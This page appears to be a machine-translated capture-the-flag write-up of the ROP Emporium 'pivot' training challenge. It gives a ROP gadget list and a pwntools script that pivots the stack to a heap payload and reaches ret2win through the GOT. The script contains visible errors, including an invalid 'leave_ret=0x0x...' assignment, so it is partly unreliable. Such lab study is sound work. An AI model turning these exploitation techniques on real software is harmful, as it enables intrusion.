当前位置:网站首页>pivot ROP Emporium
pivot ROP Emporium
2022-07-03 21:51:00 【Brandy King】
open ida, Found a heap space , And tell us the address , It seems that we should make use of stack space

open .so file , There is still a function that can open files

But the function's plt It didn't show up , That is to say, we cannot directly use
Here is a function that gives a hint , Prompt us , utilize function Of .plt Indirect access ret2win The address of

Next, let's try to run it once function Of plt, send got Table update , And then got Address after table update , Put the content on the heap , Then use stack offset to run to the heap .payload1 It's in the pile ,payload2 It's in the stack .
0x00000000004006b0 : call rax
0x00000000004009c0 : mov rax, qword ptr [rax] ; ret
0x00000000004009c4 : add rax, rbp ; ret
0x00000000004009bb : pop rax ; ret
0x00000000004007c8 : pop rbp ; ret
0x00000000004009bd : xchg rax, rsp ; ret
from pwn import *
binary = "./pivot"
io = process(binary)
elf = ELF(binary)
lib = ELF("./libpivot.so")
leave_ret=0x0x0000000000400740
pop_rax = 0x4009bb
pop_rbp = 0x4007c8
mov_rax_rax = 0x4009c0
add_rax_rbp = 0x4009c4
call_rax = 0x4006b0
foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
offset = int(lib.sym['ret2win']-lib.sym['foothold_function'])
leakaddr = u64(io.recv(6).ljust(8,b'\x00'))
payload_1 = p64(foothold_plt)
payload_1 += p64(pop_rax)
payload_1 += p64(foothold_got)
payload_1 += p64(mov_rax_rax)
payload_1 += p64(pop_rbp)
payload_1 += p64(offset)
payload_1 += p64(add_rax_rbp)
payload_1 += p64(call_rax)
io.sendline(payload_1)
payload_2 = "a" * 32
payload_2 += p64(leave_ret)
payload_2 += p64(leakaddr-8)
io.recvuntil(">")
io.sendline(payload_2)
print (io.recvall())
边栏推荐
- MySQL——索引
- Tidb's initial experience of ticdc6.0
- js demo 計算本年度還剩下多少天
- QFileDialog
- Analysis report on the development prospect and investment strategy of global and Chinese modular automation systems Ⓟ 2022 ~ 2027
- Farmersworld farmers world, no faith, how to talk about success?
- Implementation principle of inheritance, encapsulation and polymorphism
- DOM light switch case
- 抓包整理外篇——————autoResponder、composer 、statistics [ 三]
- Yyds dry inventory hcie security Day12: concept of supplementary package filtering and security policy
猜你喜欢

What is the difference between res.send() and res.end() in the node express framework

Experience summary of database storage selection

Control loop of program (while loop)

17 websites for practicing automated testing. I'm sure you'll like them

The latest analysis of R1 quick opening pressure vessel operation in 2022 and the examination question bank of R1 quick opening pressure vessel operation

Exclusive interview with the person in charge of openkruise: to what extent has cloud native application automation developed now?

MySQL - index

Asynchronous artifact: implementation principle and usage scenario of completable future

Introduction to kubernetes

Dahua series books
随机推荐
[vulnhub shooting range] impulse: lupinone
DR-NAS26-Qualcomm-Atheros-AR9582-2T-2R-MIMO-802.11-N-5GHz-high-power-Mini-PCIe-Wi-Fi-Module
Analysis report on the development trend and Prospect of global and Chinese supercontinuum laser source industry Ⓚ 2022 ~ 2027
Qualcomm platform WiFi update disconnect end open event
4. Data splitting of Flink real-time project
MySQL——规范数据库设计
What should the future of the Internet be like when Silicon Valley employees flee the big factory and rush to Web3| Footprint Analytics
Idea shortcut word operation
Is the account opening of Guotai Junan Securities safe and reliable? How to open Guotai Junan Securities Account
JS demo calculate how many days are left in this year
Teach you how to install aidlux (1 installation)
An expression that regularly matches one of two strings
Report on the current situation and development trend of ethoxylated sodium alkyl sulfate industry in the world and China Ⓞ 2022 ~ 2027
请教大家一个问题,用人用过flink sql的异步io关联MySQL中的维表吗?我按照官网设置了各种
抓包整理外篇——————autoResponder、composer 、statistics [ 三]
flink sql-client 退出,表就会被清空怎么办?
Ask and answer: dispel your doubts about the virtual function mechanism
Cognitive fallacy: what is dimensional curse
Global and Chinese market of wall mounted kiosks 2022-2028: Research Report on technology, participants, trends, market size and share
DR-AP40X9-A-Qualcomm-IPQ-4019-IPQ-4029-5G-4G-LTE-aluminum-body-dual-band-wifi-router-2.4GHZ-5GHz-QSD